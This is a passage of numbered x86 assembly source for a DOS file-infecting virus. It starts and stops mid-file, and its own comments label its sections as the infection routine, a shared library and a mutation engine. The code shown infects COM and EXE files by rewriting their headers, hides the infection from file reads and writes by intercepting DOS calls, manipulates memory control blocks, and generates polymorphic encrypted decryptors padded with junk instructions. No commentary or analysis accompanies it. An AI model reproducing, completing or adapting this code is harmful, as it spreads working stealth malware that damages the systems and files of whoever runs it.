  907.                 call    LastSFT
  908.                 add     word ptr ds:[si+15h],ax
  909.                 adc     word ptr ds:[si+17h],0
  910.                 pop     ax
  911.                 popf
  912.                 jc      ReadError
  913.                 add     ax,cs:VirusCount
  914.                 push    ax
  915.                 call    StackFrame
  916.                 xchg    ax,cx
  917.                 mov     ds:[si],cx
  918.                 mov     bx,ds:[si+6]
  919.                 mov     es,ds:[si+14]
  920.                 mov     ds,ds:[si+14]
  921.                 call    SplitCount
  922.                 mov     di,1234h
  923. VirusCount      equ     word ptr [$ - VirusTop - 2]
  924.                 or      di,di
  925.                 jz      NewHeader
  926.                 call    Mutate
  927.                 mov     cx,1234h
  928. OverlayCount    equ     word ptr [$ - VirusTop - 2]
  929.                 mov     si,1234h
  930. ImageCount      equ     word ptr [$ - VirusTop - 2]
  931.                 add     si,bx
  932.                 push    si
  933.                 push    di
  934.                 jcxz    DoNotMove
  935.                 dec     si
  936.                 add     si,cx
  937.                 add     di,si
  938.                 std
  939.                 rep     movsb
  940. DoNotMove:      push    cs
  941.                 pop     ds
  942.                 pop     cx
  943.                 pop     di
  944.                 mov     si,offset Buffer
  945.                 add     si,ds:VirusOffset
  946.                 cld
  947.                 rep     movsb
  948. NewHeader:      mov     cx,ds:HeaderCount
  949.                 jcxz    ReadError
  950.                 call    UpdateHeader
  951.                 mov     cx,ds:HeaderCount
  952.                 mov     si,ds:SFT_FilePosL
  953.                 lea     di,[bx+si]
  954.                 add     si,offset Header
  955.                 cld
  956.                 rep     movsb
  957. ReadError:      pop     ax
  958.                 jmp     DosMain
  959.  
  960. Truncate:       push    ds
  961.                 call    LastSFT
  962.                 mov     ax,cs:VirusOffset
  963.                 sub     ds:[si+15h],ax
  964.                 sbb     word ptr ds:[si+17h],0
  965.                 pop     ds
  966.                 call    DosCall
  967.                 pushf
  968.                 push    ax
  969.                 push    ds:[si+2]
  970.                 call    LastSFT
  971.                 mov     ax,cs:VirusOffset
  972.                 add     word ptr ds:[si+15h],ax
  973.                 adc     word ptr ds:[si+17h],0
  974.                 pop     bx
  975.                 pop     ax
  976.                 popf
  977.                 jc      TruncateEnd
  978.                 call    FindHandle
  979.                 mov     word ptr cs:[si],-1
  980. TruncateEnd:    jmp     DosMain
  981.  
  982. WriteStealth:   call    SplitCount
  983.                 neg     cs:VirusOffset
  984.                 jcxz    Truncate
  985.                 call    ChangeHeader
  986. ReadStealth:    call    SplitCount
  987.                 push    ds
  988.                 mov     cx,cs:HeaderCount
  989.                 call    LastSFT
  990.                 add     word ptr ds:[si+15h],cx
  991.                 adc     word ptr ds:[si+17h],0
  992.                 pop     ds
  993.                 push    dx
  994.                 push    ds
  995.                 add     dx,cx
  996.                 neg     cx
  997.                 add     cx,cs:ImageCount
  998.                 jcxz    FirstCntZero
  999.                 call    DosCall
  1000. FirstCntZero:   call    LastSFT
  1001.                 add     word ptr ds:[si+15h],1234
  1002. TotalSize       equ     word ptr [$ - VirusTop - 2]
  1003.                 adc     word ptr ds:[si+17h],0
  1004.                 pop     ds
  1005.                 pop     dx
  1006.                 push    dx
  1007.                 push    ds
  1008.                 xor     ax,ax
  1009.                 mov     cx,1234h
  1010. StealthCount    equ     word ptr [$ - VirusTop - 2]
  1011.                 add     dx,cs:ImageCount
  1012.                 jcxz    SecondCntZero
  1013.                 call    DosCall
  1014. SecondCntZero:  call    LastSFT
  1015.                 mov     cx,cs:TotalSize
  1016.                 sub     word ptr ds:[si+15h],cx
  1017.                 sbb     word ptr ds:[si+17h],0
  1018.                 push    cs
  1019.                 pop     ds
  1020.                 pop     es
  1021.                 pop     di
  1022.                 add     ax,ds:ImageCount
  1023.                 mov     cx,ds:HeaderCount
  1024.                 jcxz    EndOfRead
  1025.                 mov     si,offset Header
  1026.                 add     si,ds:SFT_FilePosL
  1027.                 cld
  1028.                 rep     movsb
  1029. EndOfRead:      call    StackFrame
  1030.                 mov     ds:[si],ax
  1031.                 jmp     DosMain
  1032.  
  1033. CompareHeaders: push    cx
  1034.                 mov     cx,cs:HeaderCount
  1035.                 jcxz    NoHeaderWrite
  1036.                 push    si
  1037.                 push    di
  1038.                 push    es
  1039.                 push    dx
  1040.                 push    ds
  1041.                 call    UpdateHeader
  1042.                 pop     ds
  1043.                 pop     dx
  1044.                 push    cs
  1045.                 pop     es
  1046.                 mov     cx,1234h
  1047. HeaderCount     equ     word ptr [$ - VirusTop - 2]
  1048.                 mov     si,dx
  1049.                 mov     di,offset Header
  1050.                 cld
  1051.                 repe    cmpsb
  1052.                 pop     es
  1053.                 pop     di
  1054.                 pop     si
  1055. NoHeaderWrite:  pop     cx
  1056.                 ret
  1057.  
  1058. CompareViruses: push    cx
  1059.                 mov     cx,cs:VirusCount
  1060.                 jcxz    NoVirusWrite
  1061.                 push    cx
  1062.                 push    si
  1063.                 push    dx
  1064.                 call    Mutate
  1065.                 pop     dx
  1066.                 push    di
  1067.                 push    es
  1068.                 push    cs
  1069.                 pop     es
  1070.                 mov     cx,cs:VirusCount
  1071.                 mov     si,dx
  1072.                 add     si,cs:ImageCount
  1073.                 mov     di,offset Buffer
  1074.                 add     di,cs:VirusOffset
  1075.                 push    si
  1076.                 cld
  1077.                 repe    cmpsb
  1078.                 mov     si,di
  1079.                 pop     di
  1080.                 jne     DoNotRemove
  1081.                 push    ds
  1082.                 pop     es
  1083.                 mov     cx,cs:OverlayCount
  1084.                 rep     movsb
  1085. DoNotRemove:    pop     es
  1086.                 pop     di
  1087.                 pop     si
  1088. NoVirusWrite:   pop     cx
  1089.                 ret
  1090.  
  1091. SplitCount:     push    ax
  1092.                 push    bx
  1093.                 push    cx
  1094.                 push    dx
  1095.                 push    si
  1096.                 push    di
  1097.                 push    ds
  1098.                 push    cs
  1099.                 pop     ds
  1100.                 mov     ax,HeaderLength
  1101.                 cwd
  1102.                 mov     si,ds:SFT_FilePosL
  1103.                 mov     di,ds:SFT_FilePosH
  1104.                 call    CalcCounter
  1105.                 add     cx,bx
  1106.                 sub     si,bx
  1107.                 mov     ds:HeaderCount,bx
  1108.                 push    cx
  1109.                 call    CalcImageSize
  1110.                 pop     cx
  1111.                 xor     bx,bx
  1112.                 sub     si,ax
  1113.                 sbb     di,dx
  1114.                 jb      VirusOfsOk
  1115.                 mov     bx,ds:TotalSize
  1116.                 ja      VirusOfsOk
  1117.                 cmp     si,bx
  1118.                 ja      VirusOfsOk
  1119.                 mov     bx,si
  1120. VirusOfsOk:     mov     ds:VirusOffset,bx
  1121.                 add     si,ax
  1122.                 adc     di,dx
  1123.                 call    CalcCounter
  1124.                 mov     ds:ImageCount,bx
  1125.                 cmp     ds:HeaderCount,bx
  1126.                 jbe     HeaderCountOk
  1127.                 mov     ds:HeaderCount,bx
  1128. HeaderCountOk:  add     ax,ds:TotalSize
  1129.                 add     dx,0
  1130.                 call    CalcCounter
  1131.                 mov     ds:VirusCount,bx
  1132.                 mov     ds:OverlayCount,cx
  1133.                 add     cx,bx
  1134.                 mov     ds:StealthCount,cx
  1135.                 pop     ds
  1136.                 pop     di
  1137.                 pop     si
  1138.                 pop     dx
  1139.                 pop     cx
  1140.                 pop     bx
  1141.                 pop     ax
  1142.                 ret
  1143.  
  1144. CalcCounter:    push    ax
  1145.                 push    dx
  1146.                 xor     bx,bx
  1147.                 sub     ax,si
  1148.                 sbb     dx,di
  1149.                 jb      CounterOk
  1150.                 mov     bx,cx
  1151.                 jne     CounterOk
  1152.                 cmp     ax,cx
  1153.                 jae     CounterOk
  1154.                 xchg    ax,bx
  1155. CounterOk:      sub     cx,bx
  1156.                 add     si,bx
  1157.                 adc     di,0
  1158.                 pop     dx
  1159.                 pop     ax
  1160.                 ret
  1161.  
  1162. ChangeHeader:   cmp     cs:HeaderCount,0
  1163.                 je      NoHeaderChange
  1164.                 push    ax
  1165.                 push    bx
  1166.                 push    cx
  1167.                 push    si
  1168.                 push    di
  1169.                 push    es
  1170.                 push    dx
  1171.                 push    ds
  1172.                 call    CalcImageSize
  1173.                 call    LastSFT
  1174.                 mov     ds:[si+15h],ax
  1175.                 mov     ds:[si+17h],dx
  1176.                 call    ReadVirus
  1177.                 jne     WriteError
  1178.                 mov     cx,ds:HeaderCount
  1179.                 mov     di,offset Buffer + Header
  1180.                 add     di,ds:DecryptorSize
  1181.                 add     di,ds:SFT_FilePosL
  1182.                 pop     ds
  1183.                 pop     si
  1184.                 push    si
  1185.                 push    ds
  1186.                 cld
  1187.                 rep     movsb
  1188.                 and     cs:MutationFlags,07fh
  1189.                 call    Mutate
  1190.                 call    CalcImageSize
  1191.                 call    LastSFT
  1192.                 mov     ds:[si+15h],ax
  1193.                 mov     ds:[si+17h],dx
  1194.                 push    cs
  1195.                 pop     ds
  1196.                 mov     cx,ds:TotalSize
  1197.                 mov     dx,offset Buffer
  1198.                 call    DosCall
  1199. WriteError:     call    LastSFT
  1200.                 mov     ax,cs:SFT_FilePosL
  1201.                 mov     word ptr ds:[si+15h],ax
  1202.                 mov     ax,cs:SFT_FilePosH
  1203.                 mov     word ptr ds:[si+17h],ax
  1204.                 pop     ds
  1205.                 pop     dx
  1206.                 pop     es
  1207.                 pop     di
  1208.                 pop     si
  1209.                 pop     cx
  1210.                 pop     bx
  1211.                 pop     ax
  1212. NoHeaderChange: ret
  1213.  
  1214. ReadVirus:      call    MutationParms
  1215.                 push    cs:DosFunctionOfs
  1216.                 call    StackFrame
  1217.                 push    ds:[si]
  1218.                 push    ds:[si+22]
  1219.                 push    cs
  1220.                 pop     ds
  1221.                 mov     cx,ds:TotalSize
  1222.                 mov     dx,offset Buffer
  1223.                 call    ReadCall
  1224.                 pop     ds:[si+22]
  1225.                 pop     ds:[si]
  1226.                 push    cs
  1227.                 pop     ds
  1228.                 pop     ds:DosFunctionOfs
  1229.                 or      ds:MutationFlags,80h
  1230.                 call    Mutate
  1231.                 push    cs
  1232.                 pop     es
  1233.                 mov     cx,20h
  1234.                 mov     si,offset VirusID
  1235.                 mov     di,offset Buffer + VirusID
  1236.                 add     di,ds:DecryptorSize
  1237.                 cld
  1238.                 repe    cmpsb
  1239.                 ret
  1240.  
  1241. ;*****************************************************************************;
  1242. ;                                                                             ;
  1243. ; Write the virus to an existing file                                         ;
  1244. ;                                                                             ;
  1245. ;*****************************************************************************;
  1246.  
  1247. Fail:           mov     al,3
  1248.                 iret
  1249.  
  1250. InfectFile:     push    cs:DosFunctionOfs
  1251.                 push    ax
  1252.                 push    cx
  1253.                 push    dx
  1254.                 push    si
  1255.                 push    ds
  1256.                 xor     ax,ax
  1257.                 mov     ds,ax
  1258.                 mov     ax,offset Fail - VirusTop
  1259.                 xchg    ax,ds:[90h]
  1260.                 push    ax
  1261.                 mov     ax,cs
  1262.                 xchg    ax,ds:[92h]
  1263.                 push    ax
  1264.                 push    ds
  1265.                 push    cs
  1266.                 pop     ds
  1267.                 mov     ax,ds:SFT_FileSizeL
  1268.                 cmp     al,0ddh
  1269.                 stc
  1270.                 je      InfectError
  1271.                 mov     ds:FileSizeL,ax
  1272.                 mov     ax,ds:SFT_FileSizeH
  1273.                 mov     ds:FileSizeH,ax
  1274.                 call    CalcImageSize
  1275.                 sub     ax,ds:SFT_FileSizeL
  1276.                 sbb     dx,ds:SFT_FileSizeH
  1277.                 jc      InfectError
  1278.                 call    Mutate
  1279.                 call    LastSFT
  1280.                 and     byte ptr ds:[si+2],0feh
  1281.                 or      byte ptr ds:[si+2],2
  1282.                 and     byte ptr ds:[si+4],3ah
  1283.                 mov     ax,ds:[si+11h]
  1284.                 mov     ds:[si+15h],ax
  1285.                 mov     ax,ds:[si+13h]
  1286.                 mov     ds:[si+17h],ax
  1287.                 push    cs
  1288.                 pop     ds
  1289.                 mov     cx,cs:TotalSize
  1290.                 mov     dx,offset Buffer
  1291.                 call    WriteCall
  1292.                 jc      InfectError
  1293.                 call    LastSFT
  1294.                 xor     ax,ax
  1295.                 mov     ds:[si+15h],ax
  1296.                 mov     ds:[si+17h],ax
  1297.                 call    UpdateHeader
  1298.                 mov     cx,HeaderLength
  1299.                 mov     dx,offset Header
  1300.                 call    WriteCall
  1301. InfectError:    call    LastSFT
  1302.                 mov     ax,cs:SFT_OpenMode
  1303.                 mov     ds:[si+2],ax
  1304.                 mov     al,cs:SFT_Attribute
  1305.                 mov     byte ptr ds:[si+4],al
  1306.                 mov     ax,cs:SFT_DeviceInfo
  1307.                 mov     ds:[si+6],ah
  1308.                 mov     ax,cs:SFT_FilePosL
  1309.                 mov     ds:[si+17h],ax
  1310.                 mov     ax,cs:SFT_FilePosH
  1311.                 mov     ds:[si+19h],ax
  1312.                 pop     ds
  1313.                 pop     word ptr ds:[92h]
  1314.                 pop     word ptr ds:[90h]
  1315.                 pop     ds
  1316.                 pop     si
  1317.                 pop     dx
  1318.                 pop     cx
  1319.                 pop     ax
  1320.                 pop     cs:DosFunctionOfs
  1321.                 ret
  1322.  
  1323. ;*****************************************************************************;
  1324. ;                                                                             ;
  1325. ; Library used by all parts of the virus                                      ;
  1326. ;                                                                             ;
  1327. ;*****************************************************************************;
  1328.  
  1329. UpdateHeader:   push    cs
  1330.                 pop     ds
  1331.                 call    CalcImageSize
  1332.                 mov     cx,10h
  1333.                 cmp     dx,cx
  1334.                 jae     HeaderOk
  1335.                 div     cx
  1336.                 sub     ax,ds:HeaderSize
  1337.                 mov     ds:ExeCS,ax
  1338.                 mov     ds:ExeIP,dx
  1339.                 mov     dx,ds:TotalSize
  1340.                 mov     ds:Signature,dx
  1341.                 mov     cl,4
  1342.                 shr     dx,cl
  1343.                 inc     dx
  1344.                 add     ax,dx
  1345.                 mov     ds:ExeSS,ax
  1346.                 mov     ds:ExeSP,400h
  1347.                 call    CalcImageSize
  1348.                 add     ax,ds:TotalSize
  1349.                 adc     dx,0
  1350.                 call    SplitImageSize
  1351.                 mov     ax,(MemorySize - VirusSize + 3fh) / 10h
  1352.                 add     ax,ds:MinMem
  1353.                 mov     ds:MinMem,ax
  1354.                 cmp     ds:MaxMem,ax
  1355.                 jae     ComFileHeader
  1356.                 mov     ds:MaxMem,ax
  1357. ComFileHeader:  call    CalcImageSize
  1358.                 jnc     HeaderOk
  1359.                 sub     ax,3
  1360.                 mov     ds:JumpOpcode,0e9h
  1361.                 mov     ds:JumpDisp,ax
  1362. HeaderOk:       ret
  1363.  
  1364. SplitImageSize: mov     cx,200h
  1365.                 and     dx,0fh
  1366.                 div     cx
  1367.                 mov     ds:PartPage,dx
  1368.                 add     dx,-1
  1369.                 adc     ax,0
  1370.                 mov     ds:PageCount,ax
  1371.                 ret
  1372.  
  1373. FindHandle:     push    ax
  1374.                 push    cx
  1375.                 push    ds
  1376.                 push    cs
  1377.                 pop     ds
  1378.                 mov     ax,bx
  1379.                 cmp     bx,-1
  1380.                 je      EmptyHandle
  1381.                 call    GetSFTindex
  1382.                 jc      HandleNotFound
  1383. EmptyHandle:    mov     cx,MaxFiles
  1384.                 mov     si,offset FileTable - FileTableEntry
  1385. NextHandle:     add     si,FileTableEntry
  1386.                 cmp     ds:[si],ax
  1387.                 loopne  NextHandle
  1388.                 pushf
  1389.                 jne     SpeedUp
  1390.                 cmp     ax,-1
  1391.                 je      SpeedUp
  1392.                 push    dx
  1393.                 push    si
  1394.                 push    di
  1395.                 push    es
  1396.                 push    cs
  1397.                 pop     es
  1398.                 cld
  1399.                 lodsw
  1400.                 push    ax
  1401.                 lodsw
  1402.                 mov     ds:FileSizeL,ax
  1403.                 lodsw
  1404.                 mov     ds:FileSizeH,ax
  1405.                 inc     si
  1406.                 mov     di,offset Header
  1407.                 rep     movsb
  1408.                 pop     ax
  1409.                 call    FindSFT
  1410.                 mov     cx,19h
  1411.                 mov     di,offset SFT_Entry
  1412.                 rep     movsb
  1413.                 pop     es
  1414.                 pop     di
  1415.                 call    MutationParms
  1416.                 pop     si
  1417.                 pop     dx
  1418. SpeedUp:        popf
  1419. HandleNotFound: pop     ds
  1420.                 pop     cx
  1421.                 pop     ax
  1422.                 ret
  1423.  
  1424. MutationParms:  push    cs
  1425.                 pop     ds
  1426.                 mov     ax,ds:FileSizeL
  1427.                 mov     cx,ax
  1428.                 add     cx,ds:FileSizeH
  1429.                 mov     ds:Randomize,cx
  1430.                 mov     cx,VirusSize + 20h
  1431.                 add     al,cl
  1432.                 neg     al
  1433.                 add     al,0ddh
  1434.                 xor     ah,ah
  1435.                 add     cx,ax
  1436.                 mov     ds:TotalSize,cx
  1437.                 and     al,3fh
  1438.                 add     al,20h
  1439.                 sub     cx,ax
  1440.                 mov     ds:CodeSize,cx
  1441.                 mov     ds:DecryptorSize,ax
  1442.                 call    CalcImageSize
  1443.                 jnc     ExeOffset
  1444.                 add     ax,100h
  1445.                 mov     dx,300h + ComID
  1446.                 jmp     SetOffset
  1447. ExeOffset:      and     ax,00fh
  1448.                 mov     dx,000h + ExeID
  1449. SetOffset:      mov     ds:DecryptorOfs,ax
  1450.                 mov     ds:ComExe,dl
  1451.                 mov     ds:MutationFlags,dh
  1452.                 ret
  1453.  
  1454. CalcImageSize:  cmp     cs:Header,"MZ"
  1455.                 je      ExeFileHeader
  1456.                 cmp     cs:Header,"ZM"
  1457.                 je      ExeFileHeader
  1458.                 mov     ax,1234h
  1459. FileSizeL       equ     word ptr [$ - VirusTop - 2]
  1460.                 mov     dx,1234h
  1461. FileSizeH       equ     word ptr [$ - VirusTop - 2]
  1462.                 stc
  1463.                 ret
  1464. ExeFileHeader:  mov     ax,cs:PageCount
  1465.                 mov     cx,cs:PartPage
  1466.                 jcxz    ExactPage
  1467.                 dec     ax
  1468. ExactPage:      mov     dx,200h
  1469.                 mul     dx
  1470.                 add     ax,cx
  1471.                 clc
  1472.                 ret
  1473.  
  1474. SetMCB:         mov     ds:[bx+3],cx
  1475.                 mov     cl,"M"
  1476.                 xchg    cl,ds:[bx]
  1477.                 mov     ds,ax
  1478.                 mov     ds:[bx],cl
  1479.                 mov     ds:[bx+1],bx
  1480.                 mov     ds:[bx+3],dx
  1481.                 ret
  1482.  
  1483. FindMCB:        mov     ax,1234h
  1484. FirstMCB        equ     word ptr [$ - VirusTop - 2]
  1485.                 xor     bx,bx
  1486.                 mov     cx,cs
  1487.                 dec     cx
  1488. FindNext:       mov     ds,ax
  1489.                 mov     dx,ax
  1490.                 inc     ax
  1491.                 add     ax,ds:[bx+3]
  1492.                 cmp     ax,cx
  1493.                 jb      FindNext
  1494.                 ret
  1495.  
  1496. ;*****************************************************************************;
  1497. ;                                                                             ;
  1498. ; Mutation engine                                                             ;
  1499. ;                                                                             ;
  1500. ;*****************************************************************************;
  1501. ;                                                                             ;
  1502. ; Entry: Randomize     = Random Number                                        ;
  1503. ;        DecryptorOfs  = Decryptor offset (Not needed for decryption)         ;
  1504. ;        CodeSize      = Code size                                            ;
  1505. ;        MutationFlags = bit 0: assume decryptor ds=cs (com-files)            ;
  1506. ;                        bit 1: assume decryptor ss=cs (com-files)            ;
  1507. ;                        bit 7: decrypt mutated virus  (stealth)              ;
  1508. ;        DecryptorSize = Decryptor size                                       ;
  1509. ;                                                                             ;
  1510. ;        cs:[VirusTop] = Code (Not needed for decryption)                     ;
  1511. ;        cs:[Buffer]   = Buffer (Mutated virus)                               ;
  1512. ;                                                                             ;
  1513. ;*****************************************************************************;
  1514.  
  1515. Mutate:         push    bx
  1516.                 push    di
  1517.                 push    ds
  1518.                 push    es
  1519.                 push    cs
  1520.                 pop     es
  1521.                 push    cs
  1522.                 pop     ds
  1523.                 mov     cx,1234h
  1524. CodeSize        equ     word ptr [$ - VirusTop - 2]
  1525.                 mov     di,offset Buffer
  1526.                 push    cx                      ; save cx for later use.
  1527.                 call    InitMutate              ; generate decryptor
  1528.                 pop     cx                      ; restore cx
  1529.                 test    ds:MutationFlags,80h    ; 0=encryption, 80h=decryption
  1530.                 jnz     EncryptDecrypt
  1531.                 xor     si,si
  1532.                 cld                             ; copy the code that must be
  1533.                 rep     movsb                   ;   encrypted
  1534.  
  1535. Param1          equ     word ptr [$ - VirusTop + 1]
  1536. Param2          equ     word ptr [$ - VirusTop + 4]
  1537. Param3          equ     word ptr [$ - VirusTop + 0ah]
  1538. Param4          equ     word ptr [$ - VirusTop + 13h]
  1539. Param5          equ     word ptr [$ - VirusTop + 17h]
  1540.  
  1541. EncryptOpcode   equ     byte ptr [$ - VirusTop + 10h]
  1542. CompareOpcode   equ     byte ptr [$ - VirusTop + 15h]
  1543. ConditionOpcode equ     byte ptr [$ - VirusTop + 19h]
  1544. AddOpcode       equ     byte ptr [$ - VirusTop + 0eh]
  1545.  
  1546. EncryptDecrypt: mov     bx,1234h                ; 0000  BB ?? ??
  1547.                 mov     ax,1234h                ; 0003  B8 ?? ??
  1548. Repeat:         mov     dx,bx                   ; 0006  89 DA
  1549.                 add     bx,1234h                ; 0008  81 C3 ?? ??
  1550.                 mov     cx,ax                   ; 000C  89 C1
  1551.                 add     ax,bx                   ; 000E  01 D8
  1552.                 add     cs:[bx+1234h],bl        ; 0010  2E 00 9F ?? ??
  1553.                 sub     bx,1234h                ; 0015  81 EB ?? ??
  1554.                 jnz     Repeat                  ; 0019  75 EF
  1555.                 pop     es
  1556.                 pop     ds
  1557.                 pop     di
  1558.                 pop     bx
  1559. MutationDone:   ret
  1560.  
  1561. JumpTable       equ     word ptr [$ - VirusTop]
  1562.                 dw      InitReg - VirusTop              ; 3 bytes  ; 1  cl&02
  1563.                 dw      SetDestenation - VirusTop       ; 0 bytes  ; 2  cl&03
  1564.                 dw      IncReg - VirusTop               ; 4 bytes  ; 3  cl&08
  1565.                 dw      MoveIndex - VirusTop            ; 2 bytes  ; 4  cl&10
  1566.                 dw      Memory - VirusTop               ; 5 bytes  ; 5  cl&20
  1567.                 dw      Compare - VirusTop              ; 6 bytes  ; 6  cl&40
  1568.                 dw      PrefetchFix - VirusTop          ; 2 bytes  ; 7  cl&80
  1569.  
  1570. TrashTable      equ     word ptr [$ - VirusTop]
  1571.                 dw      IncDecTrash - VirusTop          ; 1 byte   ; 1
  1572.                 dw      ZeroReg - VirusTop              ; 2 bytes  ; 2
  1573.                 dw      JumpTrash - VirusTop            ; 2 bytes  ; 3
  1574.                 dw      InitTrash - VirusTop            ; 3 bytes  ; 4
  1575.                 dw      AddSubTrash - VirusTop          ; 4 bytes  ; 5
  1576.                 dw      MemoryTrash - VirusTop          ; 5 bytes  ; 6
  1577.                 dw      MoveTrash - VirusTop            ; 2 bytes  ; 7
  1578.  
  1579. OpcodeTable     equ     byte ptr [$ - VirusTop]
  1580.                 db      00h,28h,30h,30h
  1581.                 db      79h,78h,75h,75h
  1582.  
  1583. MoveIndex:      xor     cl,30h
  1584.                 sub     ch,2
  1585. Registers       equ     word ptr [$ - VirusTop + 1]
  1586. IndexReg        equ     byte ptr [$ - VirusTop + 1]
  1587. CounterReg      equ     byte ptr [$ - VirusTop + 2]
  1588.                 db      0bbh,?,?
  1589.                 push    cx
  1590.                 xchg    ax,cx
  1591.                 mov     cx,0c089h
  1592.                 cmp     bl,bh
  1593.                 jne     MakeMove
  1594.                 mov     ds:FlagsOk,0ebh
  1595. CryptReg        equ     byte ptr [$ - VirusTop + 1]
  1596.                 db      0b3h,?
  1597.                 test    al,08h
  1598.                 mov     al,0d8h
  1599.                 jz      SetAddOpcode
  1600.                 mov     al,0d0h
  1601. SetAddOpcode:   mov     ds:AddOpcode[1],al
  1602.                 call    Random
  1603.                 push    bx
  1604.                 and     ax,3
  1605.                 xchg    ax,bx
  1606.                 mov     al,OpcodeTable[bx]
  1607.                 mov     ah,0c0h
  1608.                 inc     ax
  1609.                 pop     bx
  1610.                 mov     ds:AddOpcode,al
  1611.                 xchg    ax,cx
  1612. MakeMove:       call    Random
  1613.                 and     al,2
  1614.                 jnz     DirectionOk
  1615.                 xchg    bl,bh
  1616. DirectionOk:    rol     bl,1
  1617.                 rol     bl,1
  1618.                 rol     bl,1
  1619.                 mov     ah,bl
  1620.                 or      ah,bh
  1621.                 or      ax,cx
  1622.                 stosw
  1623.                 pop     cx
  1624.                 ret
  1625.  
  1626.                 db      2
  1627. MoveTrash:      push    cx
  1628.                 call    RandomRegFF
  1629.                 and     ax,0707h
  1630.                 xchg    ax,bx
  1631.                 mov     cx,0c089h
  1632.                 jmp     MakeMove
  1633.  
  1634. InitMutate:     mov     ds:Reserved,11h
  1635.                 call    Random
  1636.                 call    ResetRegZero
  1637.                 push    ax
  1638.                 mov     bx,1234h
  1639. DecryptorOfs    equ     word ptr [$ - VirusTop - 2]
  1640.                 mov     si,1234h
  1641. DecryptorSize   equ     word ptr [$ - VirusTop - 2]
  1642.                 add     bx,si
  1643.                 add     si,di
  1644.                 mov     dx,bx
  1645.                 mov     ds:Param3,1
  1646.                 mov     ds:Param4,si
  1647.                 mov     ds:Param5,ax
  1648.                 call    Random
  1649.                 and     ax,3
  1650.                 mov     bx,8000h
  1651.                 mov     ds:JumpType,al
  1652.                 dec     ax
  1653.                 js      Ok
  1654.                 xchg    ax,bx
  1655.                 mov     ax,7fffh
  1656.                 je      Ok
  1657.                 xor     ax,ax
  1658.                 xor     bx,bx
  1659. Ok:             push    ax
  1660.                 call    Random
  1661.                 pop     ax
  1662.                 jpe     Increase
  1663.                 add     ax,cx
  1664.                 add     dx,cx
  1665.                 neg     ds:Param3
  1666.                 add     ds:Param4,cx
  1667.                 mov     cx,1903h
  1668.                 jmp     Decrease
  1669. Increase:       xchg    ax,bx
  1670.                 sub     ax,cx
  1671.                 mov     cx,1703h
  1672. Decrease:       mov     ds:Param1,ax
  1673.                 call    Random
  1674.                 and     al,10h
  1675.                 or      al,0ebh
  1676.                 mov     ds:CmpSub,al
  1677.                 mov     ds:CompareOpcode[1],al
  1678.                 test    al,10h
  1679.                 pop     ax
  1680.                 jnz     UseCompare
  1681.                 add     ds:Param3,ax
  1682.                 jmp     Skip
  1683. UseCompare:     add     ds:Param1,ax
  1684. Skip:           mov     ax,ds:Param1
  1685.                 sub     dx,ax
  1686.                 add     ax,ds:Param3
  1687.                 sub     ds:Param4,ax
  1688. Again:          mov     bx,offset JumpTable - 2
  1689.                 cld
  1690.                 call    Choose
  1691.                 call    bx
  1692.                 or      cl,cl
  1693.                 jne     Again
  1694.                 ret
  1695.  
  1696. Choose:         call    Random
  1697.                 and     ax,300h
  1698.                 push    cx
  1699. ChooseNext:     inc     ax
  1700.                 ror     cl,1
  1701.                 sbb     ah,0
  1702.                 jae     ChooseNext
  1703.                 pop     cx
  1704.                 dec     ax
  1705.                 and     ax,7
  1706.                 jz      Trash
  1707.                 or      cl,1
  1708.                 add     bx,ax
  1709.                 add     bx,ax
  1710.                 mov     bx,ds:[bx]
  1711.                 ret
  1712.  
  1713. Trash:          inc     bx
  1714.                 mov     ax,si
  1715.                 sub     ax,di
  1716.                 jbe     Ready
  1717.                 sub     al,ch
  1718.                 ja      NotReady
  1719. Ready:          and     cl,0feh
  1720.                 ret
  1721. NotReady:       push    bx
  1722.                 push    cx
  1723.                 push    ds:Randomize
  1724.                 mov     bx,offset TrashTable - 2
  1725.                 mov     cl,11111110b
  1726.                 mov     ch,al
  1727.                 call    Choose
  1728.                 cmp     ch,ds:[bx-1]
  1729.                 jae     SizeOk
  1730.                 mov     bx,offset IncDecTrashAbs
  1731. SizeOk:         call    bx
  1732.                 pop     ds:Randomize
  1733.                 pop     cx
  1734.                 pop     bx
  1735.                 ret
  1736.  
  1737.                 db      3
  1738. InitTrash:      call    RandomRegFF
  1739.                 or      al,0b8h
  1740. StoreRandom:    stosb
  1741.                 call    RealRandom
  1742.                 stosw
  1743.                 ret
  1744.  
  1745. InitReg:        xor     cl,06h
  1746.                 sub     ch,6
  1747.                 push    cx
  1748.                 mov     ch,00001111b
  1749.                 call    RandomReg
  1750.                 mov     ds:CounterReg,al
  1751.                 mov     ds:CryptReg,al
  1752.                 push    ax
  1753.                 or      al,0b8h
  1754.                 stosb
  1755.                 mov     ax,ds:Param1
  1756.                 stosw
  1757.                 pop     ax
  1758.                 mov     bx,cx
  1759.                 cmp     al,3
  1760.                 je      IndexRegOk
  1761. GetIndexReg:    mov     ch,11101000b
  1762.                 call    RandomReg
  1763. IndexRegOk:     mov     ds:IndexReg,al
  1764.                 or      ds:Reserved,cl
  1765.                 cmp     al,ds:CounterReg
  1766.                 jne     NoCryptReg
  1767.                 mov     ch,00001111b
  1768.                 call    RandomReg
  1769.                 mov     ds:CryptReg,al
  1770.                 or      al,0b8h
  1771.                 stosb
  1772.                 call    Random
  1773.                 mov     ds:Param2,ax
  1774.                 stosw
  1775.                 or      bl,cl
  1776. NoCryptReg:     or      ds:Reserved,bl
  1777.                 pop     cx
  1778.                 ret
  1779.  
  1780. SetDestenation: xor     cl,1ch
  1781.                 sub     ch,2
  1782.                 mov     ds:JumpDestenation,di
  1783. ResetRegZero:   mov     ds:RegZero,0ffh
  1784.                 jmp     ResetFlagsOk
  1785.  
  1786.                 db      1
  1787. IncDecTrashAbs  equ     byte ptr [$ - VirusTop]
  1788. IncDecTrash:    call    RandomRegFF
  1789.                 and     ah,8
  1790.                 or      al,ah
  1791.                 or      al,40h
  1792. Compress1:      stosb
  1793.                 jmp     ResetFlagsOk
  1794.  
  1795.                 db      2
  1796. FlagsOk         equ     byte ptr [$ - VirusTop]
  1797. JumpTrash:      jb      IncDecTrash
  1798.                 call    RealRandom
  1799.                 mov     al,75h
  1800.                 jpe     StoreJump
  1801.                 mov     al,78h
  1802. StoreJump:      stosw
  1803.                 ret
  1804.  
  1805. Memory:         xor     cl,20h
  1806.                 sub     ch,5
  1807.                 mov     al,ds:IndexReg
  1808.                 sub     al,5
  1809.                 ja      RegOk1
  1810.                 mov     al,3
  1811.                 jb      RegOk2
  1812. RegOk1:         dec     ax
  1813. RegOk2:         or      al,84h
  1814.                 xchg    ax,bx
  1815.                 call    Random
  1816.                 and     al,4
